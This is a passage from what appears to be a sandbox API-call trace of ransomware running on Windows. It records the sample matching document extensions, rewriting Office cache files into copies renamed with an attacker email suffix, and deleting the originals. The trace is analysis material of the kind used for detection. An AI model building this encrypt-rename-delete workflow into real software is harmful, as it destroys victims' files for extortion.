lpString2="p.xml") returned -1 [0204.559] lstrlenW (lpString=".pdf") returned 4 [0204.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".xls") returned 4 [0204.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString=".xlsx") returned 5 [0204.559] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.559] lstrlenW (lpString=".ppt") returned 4 [0204.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.559] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.560] lstrlenW (lpString=".zip") returned 4 [0204.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.560] lstrlenW (lpString=".rar") returned 4 [0204.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.560] lstrlenW (lpString=".bz2") returned 4 [0204.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.560] lstrlenW (lpString=".7z") returned 3 [0204.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.560] lstrlenW (lpString=".dbf") returned 4 [0204.560] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.560] lstrlenW (lpString=".1cd") returned 4 [0204.560] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.560] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.560] lstrlenW (lpString=".jpg") returned 4 [0204.560] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.560] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.560] lstrlenW (lpString="branding.xml") returned 12 [0204.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.562] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=596341) returned 1 [0204.562] CloseHandle (hObject=0x184) returned 1 [0204.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0204.562] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.563] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.563] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0204.563] GetLastError () returned 0x0 [0204.563] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x91975, lpOverlapped=0x0) returned 1 [0204.768] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0204.829] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0204.829] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.829] SetEndOfFile (hFile=0x19c) returned 1 [0204.829] CloseHandle (hObject=0x19c) returned 1 [0204.833] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.833] SetEndOfFile (hFile=0x184) returned 1 [0204.837] CloseHandle (hObject=0x184) returned 1 [0204.837] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.837] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0204.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".doc") returned 4 [0204.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".docx") returned 5 [0204.838] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0204.838] lstrlenW (lpString=".pdf") returned 4 [0204.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".xls") returned 4 [0204.838] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".xlsx") returned 5 [0204.838] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0204.838] lstrlenW (lpString=".ppt") returned 4 [0204.838] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".zip") returned 4 [0204.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.838] lstrlenW (lpString=".rar") returned 4 [0204.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".bz2") returned 4 [0204.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".7z") returned 3 [0204.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".dbf") returned 4 [0204.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".1cd") returned 4 [0204.838] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".jpg") returned 4 [0204.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".doc") returned 4 [0204.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".docx") returned 5 [0204.838] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0204.838] lstrlenW (lpString=".pdf") returned 4 [0204.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".xls") returned 4 [0204.838] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".xlsx") returned 5 [0204.838] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0204.838] lstrlenW (lpString=".ppt") returned 4 [0204.838] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.838] lstrlenW (lpString=".zip") returned 4 [0204.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.838] lstrlenW (lpString=".rar") returned 4 [0204.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.838] lstrlenW (lpString=".bz2") returned 4 [0204.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.839] lstrlenW (lpString=".7z") returned 3 [0204.839] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.839] lstrlenW (lpString=".dbf") returned 4 [0204.839] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.839] lstrlenW (lpString=".1cd") returned 4 [0204.839] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0204.839] lstrlenW (lpString=".jpg") returned 4 [0204.839] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.839] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.839] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0204.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.839] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=819) returned 1 [0204.839] CloseHandle (hObject=0x184) returned 1 [0204.839] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0204.839] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0204.839] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.839] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0204.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0204.840] GetLastError () returned 0x0 [0204.840] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x333, lpOverlapped=0x0) returned 1 [0205.241] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x340, lpOverlapped=0x0) returned 1 [0205.241] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0205.241] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0205.241] SetEndOfFile (hFile=0x19c) returned 1 [0205.242] CloseHandle (hObject=0x19c) returned 1 [0205.242] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.242] SetEndOfFile (hFile=0x184) returned 1 [0205.243] CloseHandle (hObject=0x184) returned 1 [0205.243] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.243] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0205.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.243] lstrlenW (lpString=".doc") returned 4 [0205.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.243] lstrlenW (lpString=".docx") returned 5 [0205.243] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.243] lstrlenW (lpString=".pdf") returned 4 [0205.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.243] lstrlenW (lpString=".xls") returned 4 [0205.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.243] lstrlenW (lpString=".xlsx") returned 5 [0205.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.243] lstrlenW (lpString=".ppt") returned 4 [0205.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".zip") returned 4 [0205.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.244] lstrlenW (lpString=".rar") returned 4 [0205.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".bz2") returned 4 [0205.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".7z") returned 3 [0205.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".dbf") returned 4 [0205.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".1cd") returned 4 [0205.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".jpg") returned 4 [0205.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".doc") returned 4 [0205.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".docx") returned 5 [0205.244] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.244] lstrlenW (lpString=".pdf") returned 4 [0205.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".xls") returned 4 [0205.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".xlsx") returned 5 [0205.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.244] lstrlenW (lpString=".ppt") returned 4 [0205.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.244] lstrlenW (lpString=".zip") returned 4 [0205.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.244] lstrlenW (lpString=".rar") returned 4 [0205.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".bz2") returned 4 [0205.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.244] lstrlenW (lpString=".7z") returned 3 [0205.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.245] lstrlenW (lpString=".dbf") returned 4 [0205.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.245] lstrlenW (lpString=".1cd") returned 4 [0205.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0205.245] lstrlenW (lpString=".jpg") returned 4 [0205.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.245] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.245] lstrlenW (lpString="Setup.xml") returned 9 [0205.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.245] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=2624) returned 1 [0205.245] CloseHandle (hObject=0x184) returned 1 [0205.245] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0205.245] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0205.245] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.245] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0205.246] GetLastError () returned 0x0 [0205.246] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xa40, lpOverlapped=0x0) returned 1 [0205.395] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0205.396] ReadFile (in: hFile=0x184, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0205.396] WriteFile (in: hFile=0x19c, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0205.396] SetEndOfFile (hFile=0x19c) returned 1 [0205.396] CloseHandle (hObject=0x19c) returned 1 [0205.397] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0205.397] SetEndOfFile (hFile=0x184) returned 1 [0205.397] CloseHandle (hObject=0x184) returned 1 [0205.397] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.397] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString=".doc") returned 4 [0205.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString=".docx") returned 5 [0205.398] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.398] lstrlenW (lpString=".pdf") returned 4 [0205.398] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString=".xls") returned 4 [0205.398] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString=".xlsx") returned 5 [0205.398] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.398] lstrlenW (lpString=".ppt") returned 4 [0205.398] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString=".zip") returned 4 [0205.398] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.398] lstrlenW (lpString=".rar") returned 4 [0205.398] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString=".bz2") returned 4 [0205.398] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString=".7z") returned 3 [0205.398] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString=".dbf") returned 4 [0205.398] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString=".1cd") returned 4 [0205.398] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString=".jpg") returned 4 [0205.398] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.398] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0205.399] lstrlenW 